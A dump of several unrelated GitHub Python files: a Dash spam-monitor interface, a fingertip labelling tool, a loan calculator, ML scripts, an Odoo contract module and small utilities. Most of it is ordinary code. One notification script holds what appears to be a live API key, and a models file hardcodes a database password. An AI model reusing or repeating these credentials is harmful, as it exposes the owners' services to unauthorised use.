colors['background']},\n children=[\n html.H1(\n children='Spam Monitor System',\n style={\n 'textAlign': 'center',\n 'color': colors['text']\n }\n ),\n \n dcc.Tabs([\n dcc.Tab(tab1_content, label=\"Chart\"),\n dcc.Tab(tab2_content, label=\"Modify Crawl Period/Timepoint\"),\n ]),\n \n ])\n\n@app.callback(\n Output('layout', 'children'),\n [Input('button', 'n_clicks')],\n state=[State('data-radio-items', 'value'),\n State('demo-dropdown', 'value'),\n State('my-date-picker-range', 'start_date'),\n State('my-date-picker-range', 'end_date'),])\ndef update_graph(n, grouped_by_type, topic_id,\n start_date, end_date):\n if n > 0:\n print(\"{} {} {}\".format(grouped_by_type, start_date, end_date))\n\n start_date = dt.fromisoformat(start_date)\n end_date = dt.fromisoformat(end_date) + timedelta(1)\n\n layout = form_layout(start_date,end_date,grouped_by_type,topic_id)\n return layout\n else: return []\n\nfor topic in DB.topic.find({}, {\"_id\": 0}):\n# n0_time_clicks = 0\n @app.callback(\n [Output(\"alert-time-auto-{}\".format(topic[\"topic_id\"]), \"is_open\"),\n Output(\"alert-time-auto-{}\".format(topic[\"topic_id\"]), \"children\")],\n [Input(\"update-time-button-{}\".format(topic[\"topic_id\"]), \"n_clicks\")],\n [State('input-hour-range-{}'.format(topic[\"topic_id\"]), 'value'),\n State('input-minute-range-{}'.format(topic[\"topic_id\"]), 'value'),\n State('date-picker-single-{}'.format(topic[\"topic_id\"]), 'date'),\n State(\"alert-time-auto-{}\".format(topic[\"topic_id\"]), \"is_open\"),\n State(\"alert-time-auto-{}\".format(topic[\"topic_id\"]), \"children\")]\n )\n def toggle_crawl_timepoint_alert(n, hour, minute, date, is_open, body, topic=topic[\"topic_id\"]):\n if n > 0:\n print(\"{} {} {}\".format(date, hour, minute))\n date = dt.fromisoformat(date)\n time_n_date = date.replace(hour=hour, minute=minute)\n data = {\n \"topic_id\": int(topic),\n \"new_time_point\": time_n_date.isoformat()\n }\n response = update_crawl_time_handler(DB, data)\n #print(response)\n return True, json.dumps(response)\n else: return False, \" \"\n\n @app.callback(\n [Output(\"alert-period-auto-{}\".format(topic[\"topic_id\"]), \"is_open\"),\n Output(\"alert-period-auto-{}\".format(topic[\"topic_id\"]), \"children\")],\n [Input(\"update-period-button-{}\".format(topic[\"topic_id\"]), \"n_clicks\")],\n [State('input-range-{}'.format(topic[\"topic_id\"]), 'value'),\n State('time-option-{}'.format(topic[\"topic_id\"]), 'value'),\n State(\"alert-period-auto-{}\".format(topic[\"topic_id\"]), \"is_open\"),\n State(\"alert-period-auto-{}\".format(topic[\"topic_id\"]), \"children\")],\n )\n def toggle_crawl_period_alert(n, time, unit, is_open, body, topic=topic[\"topic_id\"]):\n if n > 0:\n if unit == 'MINUTE':\n time = time*60\n elif unit == 'HOUR':\n time = time*60*60\n elif unit == 'DAY':\n time = time*60*60*24\n print(\"{} {} {}\".format(time, unit, topic))\n\n data = {\n \"topic_id\": int(topic),\n \"new_crawl_period\": int(time)\n }\n response = update_crawl_period_handler(DB, data)\n #print(response)\n return True, json.dumps(response)\n else: return False, \" \"\n \n@server.route('/')\n@server.route('/index')\ndef index():\n return app.index()\n\n","repo_name":"long1702/flask","sub_path":"user_interface.py","file_name":"user_interface.py","file_ext":"py","file_size_in_byte":14847,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"19552553233","text":"\"\"\" Single-Camera-Touchpad/fingertip_labeller.py\n\n Semi-automatical labeller for fingertips on the 11k hands dataset.\n Only images of the dorsal aspect are used.\n Convex hull vertices are used to guess fingertip locations.\n The user has the option to manually edit bounding box locations.\n Labels are exported in csv format.\n\"\"\"\n\nimport argparse\nimport csv\nimport random\n\nimport numpy as np\nimport cv2\nimport tensorflow as tf\nimport imutils\n\ndef find_fingertips(image, threshold=5, finger_angle=5, tip_radius=25):\n \"\"\" Returns candidate bounding boxes after pre-processing and convex hull calculations.\n\n Args:\n image: The raw image of the hand as a numpy array of BGR values.\n threshold: The value for masking away the white background.\n Grayscale values in the range [255 - threshold, 255] are excluded.\n finger_angle: The number of degrees for vertices to be considered the same finger.\n Angles are calculated with respect to the center of the top row of pixels.\n tip_radius: The distance around the vertex to be placed in a bounding box.\n\n Returns:\n image: The hand image post-processing.\n bounding_boxes: A list of bounding boxes. Each element is a list [x, y, w, h]\n \"\"\"\n\n image = image.copy()\n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n th, threshed = cv2.threshold(gray, 255-threshold, 255, cv2.THRESH_BINARY_INV|cv2.THRESH_OTSU)\n\n img, cnts, _ = cv2.findContours(threshed, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n contours = []\n for c in cnts:\n if cv2.arcLength(c, True) > 2 * np.pi * tip_radius:\n contours.append(c)\n\n # contours = sorted(cnts, key=cv2.contourArea, reverse=True)[:5]\n cv2.drawContours(image, contours, 0, (0, 0, 255), 1)\n\n contours = np.vstack(contours)\n hull = cv2.convexHull(contours)\n cv2.drawContours(image, [hull], 0, (0, 255, 0), 1)\n\n height, width, _ = np.shape(image)\n origin = [width//2, 0]\n dist = lambda a,b: (sum((ai-bi)**2 for ai, bi in zip(a, b))) ** 0.5\n def angle(point):\n if point[0] == origin[0]:\n return 90\n theta = np.arctan(point[1]/(origin[0] - point[0]))\n if theta < 0:\n theta += np.pi\n return theta * 180 / np.pi\n\n current_id = -1\n candidates = {}\n longest_length = 0\n middle_finger = -1\n\n for h in hull:\n point = h[0]\n d = dist(origin, point)\n t = angle(point)\n\n if current_id == -1:\n check_id = -1\n else:\n if abs(t - angle(candidates[current_id])) < finger_angle:\n check_id = current_id\n elif abs(t - angle(candidates[0])) < finger_angle:\n check_id = 0\n else:\n check_id = -1\n if check_id == -1: # new finger found\n current_id += 1\n candidates[current_id] = point\n else: # compare point with previous max\n if d > dist(origin, candidates[check_id]):\n candidates[check_id] = point\n current_id = check_id\n\n if d > longest_length and (45 < t < 135):\n longest_length = d\n middle_finger = current_id\n\n num_candidates = len(candidates.keys())\n for i in range(num_candidates):\n tip = tuple(candidates[i])\n cv2.circle(image, tip, 2, (255, 0, 0), -1)\n \n fingertips = []\n for n in range(-2, 3):\n finger_id = (middle_finger + n) % num_candidates\n fingertips.append(candidates[finger_id])\n\n cnt_indices = [[] for x in fingertips]\n for i in range(len(contours)):\n point = contours[i][0]\n for j in range(len(fingertips)):\n tip = fingertips[j]\n if dist(tip, point) < tip_radius:\n cnt_indices[j].append(i)\n\n bounding_boxes = []\n for indices in cnt_indices:\n cnt = contours[indices]\n x, y, w, h = cv2.boundingRect(cnt)\n\n if h < tip_radius:\n y -= (tip_radius - h)\n h = tip_radius\n elif h > tip_radius * 3//2:\n h = tip_radius * 3//2\n w = max(tip_radius, min(tip_radius * 3//2, w))\n x = max(0, min(width - w, x))\n y = max(0, min(height - h, y))\n\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 0, 0), 1)\n bounding_boxes.append([x, y, w, h])\n\n return image, bounding_boxes\n\ndef manual_edit(image, bounding_boxes):\n \"\"\" Creates an interactive window for the user to manually move bounding boxes.\n\n Args:\n image: The raw image of the hand as a numpy array of BGR values.\n bounding_boxes: A list of bounding boxes. Each element is a list [x, y, w, h]\n\n Returns:\n bounding_boxes: The modified list of bounding boxes.\n \"\"\"\n\n image = image.copy()\n def click_and_crop(event, x, y, flags, param):\n nonlocal refPt, moving, resizing, new_pos, new_size, sel_rect_endpoint\n\n if event == cv2.EVENT_LBUTTONDOWN:\n refPt = [(x, y)]\n moving = True\n sel_rect_endpoint = []\n \n elif event == cv2.EVENT_LBUTTONUP:\n refPt.append((x, y))\n moving = False\n new_pos = True\n\n elif event == cv2.EVENT_RBUTTONDOWN:\n refPt = [(x, y)]\n resizing = True\n sel_rect_endpoint = []\n\n elif event == cv2.EVENT_RBUTTONUP:\n refPt.append((x, y))\n resizing = False\n new_size = True\n\n elif event == cv2.EVENT_MOUSEMOVE and (resizing or moving):\n sel_rect_endpoint = [(x, y)]\n\n clone = image.copy()\n original_boxes = bounding_boxes.copy()\n for box in bounding_boxes:\n x, y, w, h = box\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 0, 0), 1)\n\n refPt = []\n moving = False\n resizing = False\n new_pos = False\n new_size = False\n sel_rect_endpoint = []\n dragging_box = -1\n\n cv2.namedWindow(\"manual_edit\")\n cv2.setMouseCallback(\"manual_edit\", click_and_crop)\n\n while True:\n if not moving and not resizing:\n if len(refPt) == 2 and dragging_box != -1:\n x, y, w, h = bounding_boxes[dragging_box]\n dx = refPt[1][0] - refPt[0][0]\n dy = refPt[1][1] - refPt[0][1]\n if new_pos:\n x += dx\n y += dy\n new_pos = False\n elif new_size:\n w += dx\n h += dy\n new_size = False\n bounding_boxes[dragging_box] = [x, y, w, h]\n dragging_box = -1\n\n image = clone.copy()\n for box in bounding_boxes:\n x, y, w, h = box\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 0, 0), 1)\n cv2.imshow(\"manual_edit\", image)\n else:\n for i in range(len(bounding_boxes)):\n x, y, w, h = bounding_boxes[i]\n px, py = refPt[0]\n if x <= px <= x+w and y <= py <= y+h:\n dragging_box = i\n if dragging_box != -1 and sel_rect_endpoint:\n rect_cpy = image.copy()\n x, y, w, h = bounding_boxes[dragging_box]\n dx = sel_rect_endpoint[0][0] - refPt[0][0]\n dy = sel_rect_endpoint[0][1] - refPt[0][1]\n if moving:\n x += dx\n y += dy\n elif resizing:\n w += dx\n h += dy\n cv2.rectangle(rect_cpy, (x, y), (x+w, y+h), (0, 0, 255), 1)\n cv2.imshow(\"manual_edit\", rect_cpy)\n\n key = cv2.waitKey(1) & 0xFF\n\n if key == ord('r'):\n image = clone.copy()\n refPt = []\n bounding_boxes = original_boxes.copy()\n for box in bounding_boxes:\n x, y, w, h = box\n cv2.rectangle(image, (x, y), (x+w, y+h), (0, 0, 0), 1)\n elif key == ord('x'):\n bounding_boxes = []\n break\n elif key == 13: # enter key to finish\n break\n\n cv2.destroyAllWindows()\n return bounding_boxes\n\n\nif __name__ == \"__main__\":\n dataset_path = \"11k_hands/\"\n output_path = dataset_path + \"fingertip_labels.csv\"\n\n ap = argparse.ArgumentParser()\n ap.add_argument(\"--resume\", action=\"store_true\", help=\"resume from last entry of \"+output_path)\n args = ap.parse_args()\n\n start = not args.resume\n last_labelled = None\n if args.resume:\n try:\n with open(output_path, newline='') as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n for row in reader:\n last_labelled = row[0]\n if not last_labelled:\n start = True\n except FileNotFoundError:\n start = True\n\n mode = 'w' if start else 'a'\n filenames = []\n with open(dataset_path + \"HandInfo.csv\", newline='') as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n next(reader) # skip header\n for row in reader:\n file = dataset_path + \"Hands/\" + row[7]\n #index = int(file[len(\"Hand_\"): -len(\".jpg\")])\n if start:\n aspect = row[6]\n if \"dorsal\" in aspect:\n filenames.append(file)\n elif file == last_labelled:\n start = True\n\n with open(output_path, mode, newline='') as csvfile:\n writer = csv.writer(csvfile, delimiter=',')\n\n print(\"q to quit, e to edit, x to skip, any other key to submit and show next image\")\n print(\"editing mode: left click to move, right click to resize, r to reset, enter to submit changes\")\n for file in filenames:\n raw = cv2.imread(file)\n raw = imutils.resize(raw, width=400)\n image, bounding_boxes = find_fingertips(raw)\n\n cv2.imshow(file, image)\n key = cv2.waitKey(0) & 0xFF\n cv2.destroyAllWindows()\n if key == ord('q'):\n break\n elif key == ord('e'):\n bounding_boxes = manual_edit(raw, bounding_boxes)\n\n if key != ord('x') and len(bounding_boxes) > 0:\n row = [file]\n for box in bounding_boxes:\n row.extend(box)\n writer.writerow(row)\n else:\n print(\"excluded \" + file)\n\n print(\"saved labels in \" + output_path)\n\n\n","repo_name":"alexbox23/Single-Camera-Touchpad","sub_path":"fingertip_labeller.py","file_name":"fingertip_labeller.py","file_ext":"py","file_size_in_byte":10449,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"11289946461","text":"from matplotlib import pyplot\n\n\n# Loan Calculator App\n\ndef get_loan_info():\n \"\"\"Get the basic information of a loan and store it in a dictionary\"\"\"\n # Create a blank dist to represent a loan\n loan = {}\n\n # Get user input for the categories of the loan\n loan['principal'] = float(input(\"\\nEnter the loan amount: \"))\n loan['rate'] = float(input(\"Enter the interest rate: \")) / 100\n loan['monthly payment'] = float(input(\"Enter the desired monthly payment amount: \"))\n loan['money paid'] = 0\n\n return loan\n\n\ndef show_loan_info(loan, number):\n \"\"\"Display the current loan status\"\"\"\n print(\"\\n-----Loan information after \" + str(number) + \" months-----\")\n for key, value in loan.items():\n print(key.title() + \": \" + str(value))\n\n\ndef collect_interest(loan):\n \"\"\"Update loan for interest per month\"\"\"\n loan['principal'] = loan['principal'] + loan['principal'] * loan['rate'] / 12\n\n\ndef make_monthly_payment(loan):\n \"\"\"Simulate making a monthly payment to pay down the principal\"\"\"\n loan['principal'] = loan['principal'] - loan['monthly payment']\n if loan['principal'] > 0:\n loan['money paid'] += loan['monthly payment']\n else:\n loan['money paid'] += loan['monthly payment'] + loan['principal']\n loan['principal'] = 0\n\n\ndef summarize_loan(loan, number, initial_principal):\n \"\"\"Display the results of paying off the loan\"\"\"\n print(\"\\nCongratulations! You paid off your loan in \" + str(number) + \" months!\")\n print(\"Your initial loan was $\" + str(initial_principal) + \" at a rate of \" + str(100 * loan['rate']) + \"%.\")\n print(\"Your monthly payment was $\" + str(loan['monthly payment']) + \".\")\n print(\"You spent $\" + str(round(loan['money paid'], 2)) + \" in total.\")\n\n interest = round(loan['money paid'] - initial_principal, 2)\n print(\"You spent $\" + str(interest) + \" on interest!\")\n\n\ndef create_graph(data, loan):\n \"\"\"Create a graph to show the relationship between principal and time\"\"\"\n x_value = [] # month number\n y_value = [] # principal value\n\n # Loop through data set. Point is a tuple.\n # point[0] represents a month number,\n # point[1] represents a principal value\n for point in data:\n x_value.append(point[0])\n y_value.append(point[1])\n\n # Create a plot for x value and y value\n pyplot.plot(x_value, y_value)\n pyplot.title(str(100 * loan['rate']) + \"% interest with $\" + str(loan['monthly payment']) + \" Monthly Payment.\")\n pyplot.xlabel(\"Month Number\")\n pyplot.ylabel(\"Principal of Loan\")\n pyplot.show()\n\n\n# The main code\nprint(\"Welcome to the Loan Calculator App\")\nmonth_number = 0\n\nmy_loan = get_loan_info()\nstarting_principal = my_loan['principal']\ndata_to_plot = []\n\nshow_loan_info(my_loan, month_number)\nprint(\"Press Enter to begin paying off your loan.\")\n\nwhile my_loan['principal'] > 0:\n if my_loan['principal'] > starting_principal:\n break\n\n month_number += 1\n collect_interest(my_loan)\n make_monthly_payment(my_loan)\n data_to_plot.append((month_number, my_loan['principal']))\n show_loan_info(my_loan, month_number)\n\nif my_loan['principal'] <= 0:\n summarize_loan(my_loan, month_number, starting_principal)\n create_graph(data_to_plot, my_loan)\nelse:\n print(\"\\nYou will never pay off your loan!!!\")\n","repo_name":"AvinashIkigai/Art-of-Doing","sub_path":"LoanCalculatorApp.py","file_name":"LoanCalculatorApp.py","file_ext":"py","file_size_in_byte":3301,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"14048589967","text":"import datetime\r\nfrom sqlalchemy import create_engine, Column, Integer, String, ForeignKey, DateTime\r\nfrom sqlalchemy.ext.declarative import declarative_base\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom sqlalchemy.sql.schema import Column\r\n\r\n\r\nCONN = \"postgresql://postgres:1234@localhost:5432/projetofastapi\"\r\n\r\nengine = create_engine(CONN)\r\nSessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)\r\n\r\nBase = declarative_base()\r\n\r\nclass Pessoa(Base):\r\n __tablename__ = 'pessoa'\r\n id = Column(Integer, primary_key=True)\r\n nome = Column(String(50))\r\n usuario = Column(String(20))\r\n senha = Column(String(10))\r\n\r\nclass Tokens(Base):\r\n __tablename__ = 'tokens'\r\n id = Column(Integer, primary_key=True)\r\n id_pessoa = Column(Integer, ForeignKey('pessoa.id'))\r\n token = Column(String(100))\r\n data = Column(DateTime, default=datetime.datetime.utcnow())\r\n\r\nBase.metadata.create_all(engine)\r\n","repo_name":"marxmyllyanno/API-de-cadastro-e-login","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"38815428033","text":"import boto3\nimport csv\nimport io\n\ns3 = boto3.client('s3')\nec2 = boto3.client('ec2')\n\ndef lambda_handler(event, context):\n csvio = io.StringIO()\n writer = csv.writer(csvio)\n writer.writerow(['id', 'name'])\n\n paginator = ec2.get_paginator('describe_security_groups').paginate()\n\n for page in paginator:\n for item in page['SecurityGroups']:\n identity = item['GroupId']\n name = item['GroupName']\n\n writer.writerow([identity, name])\n\n s3.put_object(Body=csvio.getvalue(), ContentType='text/csv', Bucket='', Key='') \n csvio.close()\n","repo_name":"hyeonsu0328/sanhak","sub_path":"rating.py","file_name":"rating.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"16223691685","text":"import pytest\nfrom telethon.events import StopPropagation\n\nfrom fa_search_bot.bot import ImageHashRecommendFunctionality\nfrom fa_search_bot.tests.util.mock_telegram_event import ChatType, MockTelegramEvent\n\n\n@pytest.mark.asyncio\nasync def test_sends_recommendation(mock_client):\n event = MockTelegramEvent.with_message(text=None).with_photo()\n func = ImageHashRecommendFunctionality()\n\n with pytest.raises(StopPropagation):\n await func.call(event)\n\n event.reply.assert_called()\n message_text = event.reply.call_args[0][0]\n assert \"@FindFurryPicBot\" in message_text\n assert \"@FoxBot\" in message_text\n assert \"@reverseSearchBot\" in message_text\n\n\n@pytest.mark.asyncio\nasync def test_no_reply_in_group(mock_client):\n event = MockTelegramEvent.with_message(text=None, chat_type=ChatType.GROUP).with_photo()\n func = ImageHashRecommendFunctionality()\n\n await func.call(event)\n\n event.reply.assert_not_called()\n","repo_name":"Deer-Spangle/FA-search-bot","sub_path":"fa_search_bot/tests/functionality/test_functionality_image_hash_recommend.py","file_name":"test_functionality_image_hash_recommend.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"22"} +{"seq_id":"5302401885","text":"from sklearn.datasets import load_breast_cancer\r\nimport tensorflow as tf\r\nimport os\r\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '2'\r\ntf.compat.v1.set_random_seed(66)\r\n\r\ndatasets = load_breast_cancer()\r\nx_data = datasets.data\r\ny_data = datasets.target\r\ny_data = y_data.reshape(-1, 1)\r\nprint(x_data.shape)\r\n\r\n\r\nx = tf.compat.v1.placeholder(tf.float32, shape=[None, x_data.shape[1]])\r\ny = tf.compat.v1.placeholder(tf.float32, shape=[None, 1])\r\n\r\nw = tf.compat.v1.Variable(tf.zeros([x_data.shape[1], 1]), name='weight')\r\nb = tf.compat.v1.Variable(tf.zeros([1]), name='bias') \r\n\r\n#2. 모델\r\nhypothesis = tf.sigmoid(tf.matmul(x, w) + b)\r\n\r\n#3-1. 컴파일\r\n# loss = tf.reduce_mean(tf.square(hypothesis - y)) # mse\r\nloss = -tf.reduce_mean(y*tf.math.log(hypothesis) + (1-y)*tf.math.log(1-hypothesis)) # binary_crossentropy\r\noptimizer = tf.compat.v1.train.AdamOptimizer(learning_rate=1e-6)\r\ntrain = optimizer.minimize(loss)\r\n\r\n#3-2. 훈련\r\nsess = tf.compat.v1.Session()\r\nsess.run(tf.compat.v1.global_variables_initializer())\r\n\r\nfor epoch in range(3001):\r\n loss_val, hy_val, _= sess.run([loss, hypothesis, train], feed_dict={x:x_data, y:y_data})\r\n \r\n if epoch % 200 == 0:\r\n print(epoch, '\\t', loss_val)\r\n\r\n\r\n#4. 평가, 예측\r\ny_predict = tf.cast(hypothesis >= 0.5, dtype=tf.float32) \r\n\r\n# accuracy score\r\naccuracy = tf.reduce_mean(tf.cast(tf.equal(y, y_predict), dtype=tf.float32))\r\npred, acc = sess.run([y_predict, accuracy], feed_dict={x:x_data, y:y_data})\r\n\r\nprint(\"Accuracy - \\n\" , acc)\r\n\r\nsess.close()\r\n\r\n# Accuracy - 0.9103691","repo_name":"onlydj96/study","sub_path":"tf114/tf14_4_cancer.py","file_name":"tf14_4_cancer.py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"70328571897","text":"#!/usr/bin/env python\n# coding: utf-8\n\nimport json\nfrom collections import Counter\nfrom sys import argv\n\nimport pandas as pd\n\n\ndef get_freq(yearlyTrend: list, n: int = 10) -> pd.DataFrame:\n trend = pd.DataFrame()\n\n for yearDist in yearlyTrend[:-1]:\n a = Counter(yearDist).most_common(n)\n print(a)\n\n return trend\n\n\ndef get_cumm_freq(yearlyTrend: list, n: int = 10) -> pd.DataFrame:\n def merge_dict(a: dict, b: dict) -> dict:\n return {x: a.get(x, 0) + b.get(x, 0) for x in set(a).union(b)}\n\n trend = pd.DataFrame()\n cumm_yearDist = {}\n\n for yearDist in yearlyTrend[:-1]:\n cumm_yearDist = merge_dict(cumm_yearDist, yearDist)\n a = Counter(cumm_yearDist)\n print(a.most_common(n))\n\n return trend\n\n\ndef main(n: int) -> None:\n\n if n == 1:\n with open(\"./data/MonoGramTrends.json\") as f:\n monogram_yearly_trend = json.load(f)\n\n result1 = get_freq(monogram_yearly_trend, 10)\n print(\"_______________________\")\n result2 = get_cumm_freq(monogram_yearly_trend, 10)\n\n elif n == 2:\n with open(\"./data/BiGramTrends.json\") as f:\n bigram_yearly_trend = json.load(f)\n\n result1 = get_cumm_freq(bigram_yearly_trend)\n print(\"_______________________\")\n result2 = get_cumm_freq(bigram_yearly_trend)\n\n else:\n print(\"Only n = 1 or 2\")\n\n\nif __name__ == \"__main__\":\n if len(argv) > 1:\n main(int(argv[1]))\n\n else:\n print(\"Missing Arguments\")\n","repo_name":"Janmejay-Joshi/News-Analyser","sub_path":"news_analyser/analyser/frequency.py","file_name":"frequency.py","file_ext":"py","file_size_in_byte":1491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"985979556","text":"# 5.1.5.7 The anatomy of exceptions | assert\n\n# assert : mempertegas pernyataan agar sesuai dengan kondisi yang diminta, kondisi yang tidak sesuai akan menunjukan exception AssertionError\n# coba jalankan kode dengan kondisi > 0 dan < 0\n# assert berguna untuk validasi data\n\nimport math\n\nx = float(input(\"Enter a number: \"))\nassert x >= 0.0\n\nx = math.sqrt(x)\n\nprint(x)","repo_name":"apriantoa917/Python-Latihan-DTS-2019","sub_path":"EXCEPTIONS/assert - example 1.py","file_name":"assert - example 1.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"id","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"} +{"seq_id":"27550988475","text":"# -*- coding: utf-8 -*-\nfrom odoo import api,fields, models, _\nfrom odoo.exceptions import UserError\nfrom datetime import datetime\n\n#from odoo.addons.br_boleto.boleto.document import Boleto\n\nclass AccountAnalyticAccount(models.Model):\n _inherit = 'account.analytic.account'\n\n date_end = fields.Datetime(string='Data de encerramento')\n\n @api.multi\n def toggle_active(self):\n \"\"\" Inverse the value of the field ``active`` on the records in ``self``. \"\"\"\n user_uid = self.env['res.users'].browse(self._uid)\n if any(line.name == 'Conselheiro' for line in user_uid.groups_id):\n vals = {}\n for record in self:\n record.active = not record.active\n if self.active:\n self.date_end = False\n else:\n self.date_end = fields.Date.context_today(self)\n\n partner = self.env['res.partner'].browse(self.partner_id.id)\n vals['active'] = self.active\n partner.write(vals)\n if self.partner_id.child_ids:\n for contact in self.partner_id.child_ids:\n contact = self.env['res.partner'].browse(contact.id)\n contact.write(vals)\n else:\n res_partner = self.env['res.partner'].search([\n ('parent_id','=',self.partner_id.id),\n ('active','=',False)])\n for contact in res_partner:\n contact = self.env['res.partner'].browse(contact.id)\n contact.write(vals)\n else:\n raise UserError('Você não tem permissão para inativar um contrato')\n\n\n\n\n","repo_name":"crsilveira/ats_odoo","sub_path":"odoo10/contract/contract_permission/models/contract.py","file_name":"contract.py","file_ext":"py","file_size_in_byte":1657,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"26902311026","text":"import requests\nimport json\nimport base64\ncontent = '''AVAX投票到期监控\n
    \n 投票地址:\n
    \n 质押数量:5,530,000\n
    \n 到期时间:2022-7-31\n
    \n 剩余时间:11天\n'''\nurl = \"http://tool-robot.kumex.com:443/notify/encrypt_teams\"\nheaders = {\"XAK\": \"Rzsr5hTGpgrtbqcUMoFKhbDJZixEsPQ3AQ\", \"Content-Type\": \"application/json\"}\nsource = {\"cid\": \"19:68c7a4e9fccc4d23b00a3b7a5645685f@thread.v2\", \"content\": content}\nbstr = json.dumps(source).encode(\"utf-8\")\ndata = base64.encodebytes(bstr).decode(\"utf-8\")\nret = requests.post(url=url, headers=headers, data=data)\nprint(ret)","repo_name":"WDD-W/winnie-wwa","sub_path":"test/avax-endtime.py","file_name":"avax-endtime.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"2010412343","text":"import numpy as np\nimport pandas as pd\nimport sklearn \nimport tensorflow as tf\nfrom tensorflow.estimator import LinearClassifier\nfrom pandas.api.types import CategoricalDtype\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score\nfrom sklearn.model_selection import train_test_split\n\n\n\ncols = ['age', 'workclass', 'fnlwgt', 'education', 'education-num', 'marital-status', 'occupation', 'relationship', 'race', 'sex', 'capital-gain', 'capital-loss', 'hours-per-week', 'native-country', 'income']\ndf = pd.read_csv('income_evaluation.csv', header = 1, names = cols)\n#Change values into negative and positive class\ndf['income'].replace({' <=50K':0, ' >50K':1}, inplace=True)\ndf_obj = df.select_dtypes(include=['object'])\ndf_int = df.select_dtypes(include=['int64'])\n\ndef fit(X, y=None):\n categories = dict()\n df_num = X.select_dtypes(include=['object'])\n for column in df_num.columns:\n categories[column] = df_num[column].value_counts().index.tolist()\n return categories\n\n\ndef transform(X):\n X_copy = X.copy()\n categories = fit(X)\n X_copy = X_copy.select_dtypes(include=['object'])\n for column in X_copy.columns:\n X_copy[column] = X_copy[column].astype({column: CategoricalDtype(categories[column])})\n return pd.get_dummies(X_copy, drop_first=True)\n\nall_text = transform(df_obj)\n\nall_data = df_int.merge(all_text, left_index = True, right_index = True)\n\n\n# Feature Matrix \nX = all_data.drop('income', axis =1)\n# Data labels \ny = all_data['income']\n\nX_train, X_test, y_train, y_test = train_test_split(X , y , test_size=0.2)\n\n#Input pipeline\ndef input_pipeline(features_df, target_df, num_of_epochs=2, shuffle=True, batch_size = 20):\n def input_function():\n dataset = tf.data.Dataset.from_tensor_slices((dict(features_df), target_df))\n if shuffle:\n dataset = dataset.shuffle(1000)\n dataset = dataset.batch(batch_size).repeat(num_of_epochs)\n return dataset\n return input_function\n\ntrain_input = input_pipeline(X_train, y_train)\ntrain_input_testing = input_pipeline(X_train, y_train, num_of_epochs=1, shuffle=False)\ntest_input = input_pipeline(X_test,y_test, num_of_epochs=1, shuffle=False)\n\n#Model training\nfeature_columns_numeric = [tf.feature_column.numeric_column(m) for m in X_train.columns]\nlogistic_model = LinearClassifier(feature_columns=feature_columns_numeric)\nlogistic_model.train(train_input)\n\n#Predictions\ntrain_predictions = logistic_model.predict(train_input_testing)\ntest_predictions = logistic_model.predict(test_input)\ntrain_predictions_series = pd.Series([p['classes'][0].decode(\"utf-8\") for p in train_predictions])\ntest_predictions_series = pd.Series([p['classes'][0].decode(\"utf-8\") for p in test_predictions])\n\ntrain_predictions_df = pd.DataFrame(train_predictions_series, columns=['predictions'])\ntest_predictions_df = pd.DataFrame(test_predictions_series, columns=['predictions'])\n\ny_train.reset_index(drop=True, inplace=True)\n\n#Validation\ndef calculate_binary_class_scores(y_true, y_pred):\n accuracy = accuracy_score(y_true, y_pred.astype('int64'))\n precision = precision_score(y_true, y_pred.astype('int64'))\n recall = recall_score(y_true, y_pred.astype('int64'))\n return accuracy, precision, recall\n\ntrain_accuracy_score, train_precision_score, train_recall_score = calculate_binary_class_scores(y_train, train_predictions_series)\ntest_accuracy_score, test_precision_score, test_recall_score = calculate_binary_class_scores(y_test, test_predictions_series)\n\nprint('Training Data Accuracy (%) = ', round(train_accuracy_score*100,2))\nprint('Training Data Precision (%) = ', round(train_precision_score*100,2))\nprint('Training Data Recall (%) = ', round(train_recall_score*100,2))\n\nprint('#'*50)\n\nprint('Test Data Accuracy (%) = ', round(test_accuracy_score*100,2))\nprint('Test Data Precision (%) = ', round(test_precision_score*100,2))\nprint('Test Data Recall (%) = ', round(test_recall_score*100,2))\n\n\n","repo_name":"iwonajanny/classification","sub_path":"classification.py","file_name":"classification.py","file_ext":"py","file_size_in_byte":3940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"32381607169","text":"# !/usr/bin/env python\n# -*- coding: utf-8 -*-\n# __author__ = 'QiuZiXian' http://blog.csdn.net/qqzhuimengren/ 1467288927@qq.com\n# @time :2020/8/28 20:22\n# @abstract :\n\n\n# li = [1, 2, 3]\n#\n# print(li.insert(0, 1010))\n# print(li)\n# import nltk\n# nltk.download('wordnet')\nfrom nltk.corpus import wordnet as wn\n# dog_set = wn.synsets('dog')\n# print('dog的同义词集为：', dog_set)\n# print('dog的各同义词集包含的单词有：',[dog.lemma_names() for dog in dog_set])\n# 